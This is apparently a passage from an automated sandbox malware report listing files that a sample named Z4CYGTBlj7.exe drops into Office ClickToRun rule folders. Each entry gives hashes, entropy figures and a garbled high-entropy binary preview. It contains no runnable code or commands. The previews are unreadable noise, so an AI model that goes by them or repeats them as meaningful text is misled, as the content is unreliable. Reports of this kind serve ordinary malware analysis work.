Preview:	<?xml..h\|..E...n...L8.....qvc....Z.'.....i.b.yA.A5..?.>\|1vw)Y7JQ1.=.].f..Q.k.,..q....N4...h%D .....Z.<I..H%.5/...Y+O.rc.w.5........#..e.`Z..]\.0..j]8........%....Z.?P...G.&...B.`.... .t].B.s....`r8.......9....Z. ..g.s....b.......Oq.....;:x.4..Z..O..f^..P.i..l..d..p...Jo..0..H.1..%.....d.7.a....z....%.S.0.~.=2.........@.&.0...>.0..q....V...f..a.."Ixs9...O....,B....6..Zb.g.T....2J.B5H.$}\.s\..G'....E..k...,e...tt\|U.FZ..8.'P..d3.v.#...A.a;ic..5Anz:.%....z....`....CAA...e6SY.z[.rX...r.5\|.A..k........3nK.##..T.#].!5R....BI.Z}...fBW#C...H./4..m..XIu..q.....\|.;.Dx.z..D.....@..?.A..n.~N..TH......`..}vS;..L...~1\|..i...v.....A^... ,p..+...:6..D...G.....0Z74..LU.......V{1...9.'....5._..y.....t<...wF.....i.e..CZdZ...s.S..%S.......m...^>....PC.\.+.<...........\|i...ouO."f...t.._v...!xpa....`.r.%o.+r..N......e.e.u3..O.g.JM..7.C..(.<.L).[....C..\@AO.)..F..9...7%.x.k}.4.F...i.8..~v......'.G.`.<.Vw.~3L.....pXD....U[.......x.&n..{.f.B.R...t...R1c,C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.870289856699951
Encrypted:	false
SSDEEP:	24:sjVun2xbsgxvjMpygLTxHr0Sr5CkRh/Z6p7PgE8a0uI5fBSLxU9MYFqEHpP7/dJi:sQn2xb9x7mLFLT9RaEucQrYFquph9mD
MD5:	748D2ECBD7B796404E4B76A9C7DCC74C
SHA1:	0CF85AB821B620107B5069870E288C69B425D3DF
SHA-256:	3DEC70E12E4A027623B4631A417605869C2011D69C762C70A2D7C2B20A4A4BFC
SHA-512:	27121BE1181CA1B1D45B3A889E4B0366D4330F33EF2CFD61BAA5DD6824F3B6BC2983BEAAABE45E4ED8931F453A14679CE99AEE1F34343C7EE35C88BA83F7EC1D
Malicious:	false
Preview:	<?xml..vZ...<....y..~.Q!pr.v.z..3......-.P..\+.0...>?A.=..-..')..l....u...../-J{G.v.0Me%..N.q3..]..@.%c......] ./...p..v@.NFG...9Ui.F....:.(.c.......r.`..Rvl..Hs.....qT.a!&.._p..$oXR.w..^Yg....!"x.a...r........P<Pu.....-.2.1...,.Z.b.eH=I..4.8.8gn..t)...I...T.{^r..:NW....6Q.....l...'@\-t...c9...O..F....U. .\....g.V....Q...s..[...d5r..{3h..I.9......Xv.{.z..J..D^..h0...;.1.q.L}%..g....4..Xl#\|x...k=..'.v.UZ.}..B.g....s..R...%..gt...m/.......n......YG..c..v..(j8.@..@.K..=H.X..`"......{Q.ku..3.%.\T.J....Pn...w...@Nl....r....E..AGh..R\;...0E..I.V=.z5u.](\Jq..........j0teoI.]... ....:..........{.........JS8....Q.#....3.h...K~....}.KE....^'w..n..[.\.jmx.U.`.M..J..3!-C.. .g.u@..GN..................h.....C....THh....W...}...........8.@H......"..>....F.X.s.I.3J%W.8.m.<...C......../....e.L\jPz..Hqk.....U{.6kH.....y)4..a.'..\|...<.u.8.@...,....9..O....~..b..p.;{...F...q..m................p.....m?...W0pj...X..Z...[...kq.N..![.....V/H.A....b..Q\...j....;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.879116471125746
Encrypted:	false
SSDEEP:	48:t7h+ywMYAhvIDLhPrX8f7TDYR6wxlEylONmD:t15NvID9U7mON+
MD5:	CE98CF9D69B400810EE011564950655B
SHA1:	BB3A036F6B2B75402584ADEB0CFFA649D9245933
SHA-256:	8E8BF1B600B8C5993B6E292DF12950392656E0BD6D4C7ED33C3AAFB3B683D6EE
SHA-512:	8E65FE0127FB939083EA54181CF67B336D5ABB222C513369971DA206A2A4E80438A943F1294F5C4CB6810EF0BC2D5454431CC4574FB694B63991D468E7A89AD4
Malicious:	false
Preview:	<?xml.....w.....).........3v.u.-~.^...i.C."c.%..iZ.~i8O...U.."=D.h:\|....`.{....$W....3../_o{C.......^0........].>.../..h..!k;.({=.,l..#R.h..R.)0..dB...+.D.#Q.WK.h.p./+..!.B.}.'..F)...6........dtkq.of.= ....x(.,c.i.d....]...^6.}>%..+...\.A<.Ino.AzK..+.+.../[..L........".t.J.......mq.....R.&{.+..C.m.M.._.....N.I.L*.&.d0vr..+3.(..o)R...$...c....._V.+...S.'....l-......BK./.._....`.....kz$.N.w._aH...!.S........ .I......E.\|.C.v.c.d(.z.B.1_..Rs....D{..%m...L...^>...+'c..^.'g..y.(Hf`d.Hs...C./.B.....;.C%....F..J'.$Z.?..&)..@.....b.U...X..Vp.......(A`.L(`.p.2......\|E<h.@.x'....:...=V...$.' {.^....!.{.1.c...'.[....MiP.C.fo.....L(..:.....r..8.u."Z\3.=T.#B.%...F....BO......-...b..5v;.J!.J...i.\r..=H;d....o. :kG:.o..#.c&.. U....0...B:..T'.....3.......s..0....p77....4....1...E..!..\|.....(.T...oE~...qL..zu._%...^.g..I....X<..#..wuR4yU..ne.G./.qs~...@..X.,.q.!.<.r..Y=..;....i..1V..P).$.....tC.!@..a.g].l.@m.=.$....\&.D.b..,..V.......M.1Nn.V)[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.889227172874561
Encrypted:	false
SSDEEP:	48:vgM/WH1yHuf9ahjuNBGYq04aQfVi50T5mChUN1UhbhmumD:vgTWhiNwNQM5msA1Ux+
MD5:	D3B7CEE58F341C21B05FEBFECE106172
SHA1:	B6CC28C1ACE92AF8B4B2D99271F675E33781E6DD
SHA-256:	418862705D399682FA926E6DC5D99AF70F5BF9957CE5ACFFB30821B06F1DF876
SHA-512:	98423C1CC33B0B08D96CEE343FFA440E457388BC6C1BEB54399576BC9E8DBE1B60EFB7C012FAB29E189CA3D19F822F63CD63568FEF2C89E55D30C8BB5BCA46BB
Malicious:	false
Preview:	<?xml....7@..Mr.Z...w.2;#r..!.p.>\|....nt.;..>O...\?....8.{K.ihg.:...A.....N.+Ot./..qX..(=.U.g.Ym..qW....I.}@.C.....ThDx...;...IJ.y2(..&.O.....d...=.Y..N/...6Bu.x._3[...-..........\x.r./..\|(k.i.Y;..bW.\|N.c:;.Y."C.Z.S..?...@Rg.P...N3.^..vb.R.Z.w.'......).U=D.....H...&...Z...L...h...{..."...J._.Y..0..0.PzM..m.7.....%.J&..w...W...-{..?1y...;?..K..?nI[!~.\|o.3>s..R......3.K...:z......Le.a.h.jE....._.........B.kin.'8.j...Uw...V..&..Gc?R..../.n.X<_..(d=.uC\.....v...u....G.=.ao.~..$........P....+.&.A..G...x.....AQ..}.V..e...P.....oLqj.M.36J.3Ga.L.J !Fw.j.F.z..\|.~,.E.....}n.....1............]\|....Im2..a..X.M...vC..O.C.b...K..........w.53O.....O.:.+.......Q.HrCX<..._5.YRF..C..Of.$.}...v...`l-.R....I.9...*..9....,./.+.&R.~.G......N.8.u.;v.`&v......N..E3dp.!.aF9.oac.]...K.l.KK.E.qx.&.._.\+pS#MU.9b.......3....6.m..V.Nfk..LG]m.?..>z......G..}..V.p.:.R`....H._...Q.W.)`.0,...np..}.......C.[.O.r....b..8=)>p.>.N......6K.WO..`..LG;..G.n.z.............c..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.886467272777116
Encrypted:	false
SSDEEP:	48:I7GdWG+tSJgGL8KNrCdlWCzhVJfjkS5mD:Ic35NrGlWuhHl5+
MD5:	08AF77FC8AAECFA9773028A8349F8A5B
SHA1:	847015A0989309F99C09A72587E99AE476A85DFF
SHA-256:	DEBE8400DB01349625BC7C134816E76075FB3785937C1DD77D652EDA44A98B20
SHA-512:	A27DBC5ECCA4DD48321054D95020030BCD30C80508F974D0FB37983C783BEE4BF7CE4F58485A872F975E034920A6746BEF0D7114771224101F284D477C8DA604
Malicious:	false
Preview:	<?xml....... C..Q.R..0..j,.IMe...j.cC.GrJ.......by5....(j.0c.6...%.a.t.w.B.L.3qJe...;...5../.Y.w.]E...m.-.O.4.wD.H..8..ru..a\z.&.{U.IP^(...X......S.....{....C.[..K....y..$R.#...$..bq...83mv..yeQ@..L..D.j.,......w.o<pv-...J....!..~.9..k.p..3i5;.}..&_.=..0_...;.1...J...<}...9.....m.O(B.M2Do..]r.....?..O..../?...7....<^R."W..I..^=..'0s...z ....,.Vx.32..(/3B$+vTd..X..,.-....Z.g`R..5..{..L.....!.....!?.@6....8..j.2..R!.z.Y..'.Mx._......C...+%0..h=)3.Z........`.[....B.......v....'.^)`.;...._6..\....x>t4F........@.......E.....3.......=Cc@......7.)4...&.J3......Vl.?..7-!p.%].AI.&~5.;.(...Z..zO..%.A.\...`...X.......].B..O..d.z^nH.(....g6.H(...GnjA.;.bl............(.QG.......A./D.... .>Z.4$jnx1;....hlp..._2.....nF......0....8.....N./.{.z..q.k.+}......W)&,..9..f~u.-.....]..F.. .2.VA)......1.!:...<T..'.............sYk.y...l..G.~^...hDw....b.9k.h#..t...v...n.e...nt0O..A....Q\8&.$...gH6...?.......Y.{...o...B..).l.T..O...7..Ue.k...m..Y....nL.$;w...]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.898793944225981
Encrypted:	false
SSDEEP:	48:XInN7CtMsGE601sWk0vWdcDVW4jKt0nONNIagYJguGlXO7umD:XInYFGO20vZo4jKt0+nzGdEu+
MD5:	FE0E814FE6D4C719210A96CDB8E20807
SHA1:	1945432AA6C87FE74B5965481439CC21C925AA5D
SHA-256:	C5FC1A934300FF439E668C793C982CEFD222EEF0F969F55FA80A52D9442DDE73
SHA-512:	9F0BAFF54300F239870728D66FF1BD35FF090C1D08E41C3BB18112F06A75E6C254CF73B9F0649EB080393AC4A65CBA1771B2319FBDBF0114E47A154157742ACE
Malicious:	false
Preview:	<?xmli.......m.m....R..i=.D5Il.r...H[.#7..W6..z....D.E...u.SZ>...(.P.........M...\|..<{.(.P...4..cL&,[......=.}c].....&4..`.l....a3...k[.)".7R....%..;.6.o%e..mU.\#\|;5.SJ.$[..U...N..Dmb...F+.g.;:8..[ph....v. s.X.[.gQ..{;..a..}.w.5.$...U:V."...........-...?2.....6\....vdl.4....N1.B...$..WC.Iyu..i..[$..F.E.t.'<.....;t]..m...h,...@[..'5....{\|..&.7.s?..B.O.l........9.h.]=.$G...B..9C.s...-(.XE@w....).Kv.^...g......E=......@...y.......q.5G.L..u...K.8.0...YJ.bXQ..Pa...h..Yt.[.0;;+E..;i..9.N.S6RO.....N.t/....%..on....v.-W...........0!.%.P.3.."....y...WP@?.4}y%R..>..."..^.y...d.r.+.{G.zB.D-k.`.w..mU,+T....S.;.Qtl...+.r.=.Lh........f.. s1i...k...-..G.].9....;.3..I.:%..xX.B....&.LU;...i.......i.o...b4p.q.l...J.....D.`..A....&..........3..E..o....{.#0.LkF.0.)..1..[.c......v.......$..L>.z..............b...I2......c...%..k.89..qCq..`a..dM&./..Z..C...._....t.D....6..n.._W........@..,...}...,...R.p.s.4.....Nf*.D..'b..}=.rH....N.SL..L2.mE`P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.869489113994401
Encrypted:	false
SSDEEP:	48:9mhKAKXTTAbUVPYdTlbspE63ZDW1oGELmD:8EDHWUVPYfN63Zaqt+
MD5:	136F8B5B8B0FDC46B79D1B91D6A1043F
SHA1:	CDA667103E428FC354BC9FFB0BEABF9EB326CE95
SHA-256:	492F497BCD926624A99ACB1864C71037C6E2C5192E588C78F7666EB7074E8388
SHA-512:	7B5735DD318D0819A09B9624091A9C847C3CD3F255C48DF6E07A00EB4833E708242020DD7D4E9E97B44F5C501AD8AB7E12F8F3100547E46751D541E5F6547BDA
Malicious:	false
Preview:	<?xmlk.`lU.`..R......^...U......[m.s..g}...F@...OB....@<E.rI..=.9...n..0)27...a.u.q....L. ....R.?..6.....G......?K._.}.!s./.33....M....9.A...]..m.T.[.....O.K.`..t.....W._F.j..wE.:. ...L.3.0.\.d0F...S.&..0.R...........I............xI.....S...a.n.\0_.Do.`.E..(.NZ..2{....[..K.....6....HC..c.DrvuL.Ka.g..?t)JJ.....(..B...}k\|..G....SA.6?....-.J.m....\|.....@I.s.a}.....,?E5.4.7O..x%.......V......dD..!.._..<..s..n...YYy...&<%..+.X....}.ZzH. ....T.\0".....~(....F..4...6..n.+\.E....n.e....pn.lQ.........f"...`+.....4t6fZS.....D.]V..,..=.{8.>.....V.v.B0.%m..0..\|.+......6.....+G.DC.....0....(.T...>......7..,.HC.=C....a!#s..H.....c.. .+H...<...JZ....E.a..40..K.5...*k]...x.2..d.M.V...~....$.c..#+.... ...^n........n;2.2.3s.&_...ktV..&........v...9.ND~d..Y.ixNP....2O<A....1..D...'.c.L&./...:....>w."t..,U...rA7....hx.m...h?.@..&.:I..&.....Ny5x!....D..Bh.M\..?.X.l..,...I<.mS.#.o..7N..%.LM(....}.....M.DB.l#.x..tdv.).pV..".J.7.`..p.?...e...!..m....<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.871184565351768
Encrypted:	false
SSDEEP:	48:1+MsrxV6bw4wzly1QWnk3AaJQKRi2ATI9ihgmD:1JsrxWw4Wly1QW1aJbUe+
MD5:	F244A8BEE32923E4F2B8BE5F0667A933
SHA1:	4F3C4647F32C8EF67479ABB64572692953A2C77C
SHA-256:	D44D4C1D0EB9B2E2C282CF9AE437EE657D21F87D4C61C88F6AD0B98135D3321C
SHA-512:	BA9C07147BD97E16ED892B87845417F879BE1532A08338ED849D18A87088AFEE90D66A4D660A707E64BC947DAE462E9CA626A25F5605E9F8A33D84A274D8ACB1
Malicious:	false
Preview:	<?xml..v.b...^.R.q..+..[?.c.;.P^.{xf.i4.E...q.k....... .,.\.2.....S../........ z_B..S.q."U.....?...d..([........"..v`.s..j.L.S.9].l......D`.._ ....6.c\|.$.(.....N..iwD9zJ.CQ).%}'.){...O.o....2S966.4...U.a.{U.....T.\|\..._..So..."..o".7.`........].(.n\|..<j.P.c..@GB.Gc6QWE...FD."H..o^:..........w.......DS5.v5.9g.l..q.2+........H.....u..L8.Y...[..;.=M....er.1.@...=.)kx..d.....D..A.j.S......S.8.&.....l._B..d...9.....A:..\.....N(j...K...N.hu..}.!.q...;.>.>.K.yWk.C....Wg.pZ\.7^.....RK..!.....j+..}.L`?..@....}...$..H........E..Q....:...`..J.<......).`,.S.......Wf@..f....5%...o%....~.B.....8?4z...;....q.........I..~g..Y.N.0...<.S.Z...e.Q.?.CBt.10...zP\|........./.<...G<...,...i.........+.N.O.G@U..b.J..$.mJ.ta.."...c.q\.-.....FF.].....HG.v..j8-...'.......m..AH^..}C..p.L..0.8.Cq.n/..a.c.qD....>c....ZGu..MZuU7b....p.%.X.`L......4.U....k;&.=....)....T.70IS...3.R.).\|.P...C.~_..'..F...+.....v.....0.%.sX.3p".n...W.0....mH6..?.e.x5z...s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.8777149744002894
Encrypted:	false
SSDEEP:	24:W4fQfTQx4Y+y/c5dcyyNk/gpaBDTSZSCo9Mh9JCTUoh8gKgfP7M/9U7SXsbD:WCQfD3yU5rYyBDTK7optegKJO6mD
MD5:	957A8D5E2241CE22754652F4AECC16A5
SHA1:	A01A72D3E49A9BD7C434EFFFCB1DCBC02C625B47
SHA-256:	28512008162389CFFB6E7C8CD019F013EA7230CB28F97080E1D8BDBCD215F781
SHA-512:	DB55550FBC0BEFBED226863182546DA520E5BD6035B7C3B23A93B1BD6A6C52A2BBEF9930331252D0A2A7DC68EA81353CED95C325E2215A7D00E248830F8CB298
Malicious:	false
Preview:	<?xml..v>5<A.2.....Q.N...I...{..oJ.9..Z.LAxI..1.........!.s%..#.cb.R{r.....IE.F...Q....&M......Xg..Z..!F.N>..VXC..h....w]..65#.n....,...s.\|..i..F~..._.....j.......Bq.[a.../.?..plD...Z..#.-.Tcx"..ql...,.ww.I...I.\w....J.W.9<iy..x.;.;~k.s]y."a.o.q~..!.3.Y..H\|..Da.....}....+c\E.ik.G;".."....D....w.)..V..a.r....r..10.U\|...^.p.....=.....h...).d.D.#.........8..Y.zU......N....v.j..E..0....\|...p$.".N:..>$.....f.).U.r.2...v.qT...wi.a...;...b.q%g.&.+..Vf/...t?..6....{.w..\-X.K..j{....q.IM....-`.. .4.rNJ...BT..e<v.....kv.:..A.f.b.m..8.s.$U=........2.}.<:..(...&.K! -...+`.[.C..2.8...$.X..wF..KY..Z....m.......SikDqM..^..........H!lxkB5^p.u`..0...j.t..m..0#.....Z~......2. B.......w....~..`..gkC.&...d..-V[.,...U.....$.../2F..{.h.Z ...`b..#>_....S.'-...n ...,....>...X..S.b. XT.e].y..Ye.v.(.y7C.,O.A....(.\|....?/=..%z.... ......*.r.uT..C..e.....O....bKy.a.4].."..{....b..YG.b......]LS...s......Z~..."...b............M.T...t.5..V...s.... .M.p..DO7.V.c.6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.855819372612341
Encrypted:	false
SSDEEP:	24:UMAuIYbmwPy3QsfaW5eoedmvboGaCvAG8EhV67jze2wdIBNSU36JGRaySmzxich2:IuZLPeklmvboGlxVkzeeaGR9SfcpmD
MD5:	5C7B6F5A20EB036DEA154ACE70794DA3
SHA1:	8791EB57C354A770D0430F8024E49A36A701BE35
SHA-256:	8F9F13C068AA8AB5E74EDD0A964151BB00119561DB5F23DC497F74AACF030758
SHA-512:	ABA8C8D5028CE0E54A6C43B249A8D32D44039C4CFD5B34621C9A961AEB7FABE1066D10BA65AD926104FDEFD062993069D10ED3198C65496CF688C5419F90F248
Malicious:	false
Preview:	<?xml_..s.>'......r.....o...2...i........Y.,...(....(i.P1....sQ.....b.6.R.$%\.....SX.."..N.L...K../c...9..q97..,.p....W....z.,.>0]...7...G.....4.......^.hc..!Q...\|............%...8U..!..l8..x..V.Y3=]1.n..7.........K.0....%4..Q.{./..[....I.<.....).6.n...;.n.Ew.Zp,..D.f.e....A....I.....I......N....G.^..N.....P..#..o0c_.:.wZ4..J...:v.])e.sOx..M:...Bi.!._..6j.D.x.r.....f...B.{..8i....u.s#.[..&.......2t.r}\|.NfCD..vN.....O..p..)P..?.....K;..1.j..R<.y@......Lu.A.PD.P0.......s.Hy7..}?....^..M.laM2..z`.kczp.....#o\|.[........(.....>....]oQ.o..^)...O..X .T...3t.5.9O-{.....).../......R.p.!>qO.$PW....=&.............\|]....i.mr.x..yD.h.N.E.. s.P.E}u.......Nh1..3..`...r...n.Xa#x.d;.D8...h..!......(...F....R.A......6$...J...*y.p......?....P0P.....KV...d<1.t.$..'..W.(.jK....Z...3.e.#...M.<\Y.).`..XF....w.f.x.c..?4Q...d....x#..O.W}.c5...........R.02.F..u.Hkk...D.PE ..}P........g..;......H."...X...%..t.:N...Yl}.h.p....L.......3....1.@.e......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.51600208420887
Encrypted:	false
SSDEEP:	3072:F99AnDyteQ1FEYbUilBsaohO/KZDWV9aEuSJmyK8nL7RY7xCr1o:fRfgYhsDWViSJHnL7RexI1o
MD5:	BBE832AD9C735479C68E04DACC22D8C9
SHA1:	BBD9853451D9274774A50A2B6DE559F6F6A2AC7C
SHA-256:	3F76046D53CA2981B97A66B58543F912E77CDA6FD56560A8A85E2D0E1545A6F4
SHA-512:	E45A40A47EC23B2F457CE49C62525FFE297DA1F603F481C8AB6E8365C8D5CA06F51EABC41141E8711E7FE9BB39884A1E4168B6B15FFB1A6D908D50312E5523D1
Malicious:	false
Preview:	<Rule...\|I,...z.z..[..y).3^.....(t`b.........RVr.Id..>.....+.^{.h..6...B.....au<...}....%.o...X...E..xTzt.y$.D.b..n._...j..B{.......rs.@.0..VQ...+.67.J.A.%...z....We`.o.z..la...x........i.Xz..b'7..._[Z..Q.>GU..4...vM.&.{({...._N.h#..........5.4..d...#V....P.%.0v.J.`..3...v1R{./...z.Z..2.q..YY].C.......}0Ni.n.P~s..B...>.mA%...lW9Qs.q.....K.g$....4sr2..Y.VqH.....18..}....W....B[.4Z.7.Cx7.t.i.S.....z.....<..D.z...;.JH7..C.4I.>.1..........&.'.N......?..YG....rnl..\|..h^.4........=@..U.8..qf".@..K\`...^.......'.RG.m.`y..s..+.. ..v.1.B.......S...f.!.=./.+.ug]q#..mm.Q4......z.l...a~....e..4..RA......U..2...!Q1.r..=4.Q..q......k(..S..$zzC.....~...u}.{#L.D...j....2\U..k....&aV_u..-.%....T.M4\|Lh.$&.}N.g{@..\|./.'s.9..,..V....cw.0.T5....W..b..m.`#t.../.}bB....`...8..N.4>..7..=U.;1.Zt...h..+....~.R-.+%...S.v&!\|r.h#x..J......i...WC.......z.L..j.N7....PJ.....wn...s.h.......d...y.yKd`.....$G.3y...a.@..TC.l.."Z.m.'...JZ........;*.'I..C..\......x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.888829199246072
Encrypted:	false
SSDEEP:	48:w7+Y+YC2sgheYMCRWggcWZfpg0AIcb/kifCGmD:wwieYfWggxPAI/9G+
MD5:	42707BD61560FEE29505BA3EF2E61EB7
SHA1:	1761EBF8A3F497C76DF00E49A74161907F85A2E9
SHA-256:	1B93A9715A8D174BC3C7A09FBD6C6B8C9E6FAFDBE36DB5BA1FCDA59AA4EDD54A
SHA-512:	DA29544ADC88AFDC61EDAB90DF318F4CE1AE3442509654D9D63375839E19058DB6A4419514627477831EB366FF52677E32D1D01D8E880DF278C914F233111281
Malicious:	false
Preview:	<?xmlM.................P......j.dB.........A.j.R.jSN.\n.bE.e+o[....,b.0=.5e.7z@.Q.......Fw.x.6..n....E......$...7.h.....^.N._}....'..xDv.<.......,...}.4d..............jQ...-+Ci...e}6.<.q0]_.C5;.\..'N.[0....H}.&.U...*8[F...xb.+.o$V.f..K.\:w.}..GY.b.. .)"VE.o@y.:.V9....iz1`.s..E%X..yB1...........\J......_..V.%....(..=..\.g2..9U..S.d....s.....0...`......~...`IAJ..m.=.N.]e.....q]..?.s.Ln.PK...i.2+.m.b..\|.=...D.....Pth...v..`o0t....)D..U..{.hj.F...zpp..+.T/...e9.Ufpa.."v.M?}uy..b.......w.88....^..j#.........7....'fre.....I......9.....R..tF+./.=z... .l....f.{# ...H.1.F..B..Q..].3E .r?.B...sQ?HT.sE.......b...b.......l.rR.$h..."..e.....0.0V......v..]c.&....k..c...."^.....h.".]2N.h.<T.R$..k...6..k.c..:....f4..VI]\|.P:...I.n.'..,Y.. /.m....'...fv...aEC.UK....:..bI......Y.K...S..Uw..'...Dk....bw.g....mN.o.Y..<<..e..e..!.9QH.7.....H.k....j+....."a...S...o{.T.sAh......F\|._.i..J....YU..(.;_NKU9+].Q..cy..1.9:...N&..U.3}.1...)......J.M2o..&d@nF8JL..}......e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.819033814150059
Encrypted:	false
SSDEEP:	24:o2FMHJsBlfSrOb9nVZyCt00JejrAKLHzzJuSGfbIy/pH/QGRAcesbD:oGGi6rOb9nVZyrFUeJu9MypemD
MD5:	80718F95F80610361683B9753C7F6E16
SHA1:	744E72AE7692D83855BCE039DF0218159AD539FD
SHA-256:	01656FEC18B9B02EB07B1497BA7E8158A6F3B697FCE4801916E9D6539B616718
SHA-512:	601B91EE3109428F43A3572201EAC580BF914F3EA97D9200F8667F250B974455F87ED1F6D087442845BD95921AC6D9544C2585BFE85BF0085E8FFDE11FFCBBEE
Malicious:	false
Preview:	<?xml..D.....t.N....].K.F=.].`..o;........Bd..v;.....u+S.l....OR x.M..'...-..4.....!..=....f..COS.9.Vu...i..\|..7PU.MO"..d.....V.Z...3T...t....".<.g]y.w..ajA.lZ..0..xeC....W.,.<.Iy.2.*.....G.+..o.o.....`(...z!X.2..h...t...]..n.mB9.q..0...ag..S..4..-..`.C..6e.2.T.e-.0z.mM......_..w!..._o....b....N).[.Q.K7........L..,.u7....\|=.g..b..].jDb..@...7..rVP.. ...........0S.Gde...6...(....'.m...4.J..}...$..MP..z...A.y.!..O....G.Q.9..\|=9..$i...Tw...+$'l.J.`./+.....O...i..#...\.x..0.Z..%.e.=@..e.D..R.Q.W:...N."........a._..<.!..E0.P.}.J..Z......"...F...6R.....].4u)....k.%6O.o..>...{.f...)q]...._....)L.-....y...1.aJ........A$.R.u.RS..>.O...".+U.".Wm.>....3.\a.!.l....,%j@..].....$.:....-....g@.e.y.%...,V;t.3OP.<.E.....M.k........(3Jy]...QQ.aP...\|...V...H.7..............;l...g...U..n.x...Wn..}f.^..h9...O>....3'..1..6.8..EX$...........e...<..1...w1..l..4...%.5..F!d..8......./g\N...r.-D(.Q..q-..8.....A....2 O..g/.>..\|.F..l.&..".R.."...$........C-vl.67.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.941305181108455
Encrypted:	false
SSDEEP:	48:HF/j7xlrzgJZzs8zGiQCHb6zzyfmqekZGIUlfY4Wb6Q0I6iFTQQshXvGm8WmD:HF/j7xlrzYd1VQCHbDmqz8lARbw0aZbI
MD5:	3CA4F131E8A136628E3FAF10F60033E5
SHA1:	8CC7D6F5DADB08C135F37C278D8FE314322E3E4B
SHA-256:	27D488FCDCE0A863B2D369501E9DD371EF9B98C8E5C25272C3FE800BA501A7F8
SHA-512:	3A743119A1080C4FCD83C9A9FF4883EBC06E560A953C1F6CD0F450BEF582D765DD07F2B6A1187DAD48EC72A93C706A9CE3758B5C04B3B00FCFC55AB37FCF326B
Malicious:	false
Preview:	<?xml..]&....c.....a...'...xF..;.sC.. ..m.b...lS......A,....`eW..n......f.5.4...P>...SD(t...J...F`\.h8Y..c.cL.Mnc.".KJI,..X..>...I..,.9{.O..9.$.4..975...!_{.~OTZ...Y..f.Mh.1.XiL.I........Ue@Cl.O........e.%V.....W...._.....p...../..D......G..b...X.@.>...M.;..q.Kw... [..h........Y..........kI...%.....<P.h..fq......D+..g..o.,.....2a...........^.!..R..w.)......".?.@.F\|y.L.....H.I.)....\|.2...YC.l..HN.....]!.......=4.#T..m...@?..9g8kno.yr`.$.oN..P.:}r@........T}~.p...f...y..6".....N..h.....9 .......m...........y,...T.Bb.....).8.t.L..X:v....A......a...%.......jib..k....1....lT.E..G.Xa1.^o.O.....@Q...5\|tM.U..v>.q.z.g%.\|......F...\|.l..(PV..G....B.$.ci......3..D....J...P..e..X3...K.2.....*...8..5Rv2.%.....b....).{u..n#.a.mM..D~........T.k"L..".&Ds..{I.@.`2.w;...)..&m.....\..W.3R.#...l..S.....#..1m..ot..g......lIgG.....#..jL.L..2....a.......\..f.......9.j....H..j...(..S.....oh2.e.~.T..^r..t.$.9.q.V..B".!.\7....~`.$"X..k.4.Ig..y})...9;rq

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.887946076579847
Encrypted:	false
SSDEEP:	48:ZVUq0GOR3P0TDSm5BVWBslTV7Im3jc1mOmD:VOR3M3WGZV7Ij1mO+
MD5:	EA906E734E6699BB5547DD8A0912A665
SHA1:	A82385488C612FE857507B454AA1C6C81A396FEF
SHA-256:	4AF2978C22D3A73D7D8C9BD4A655056D94DB073F58FB7CED7BFC0595A342F961
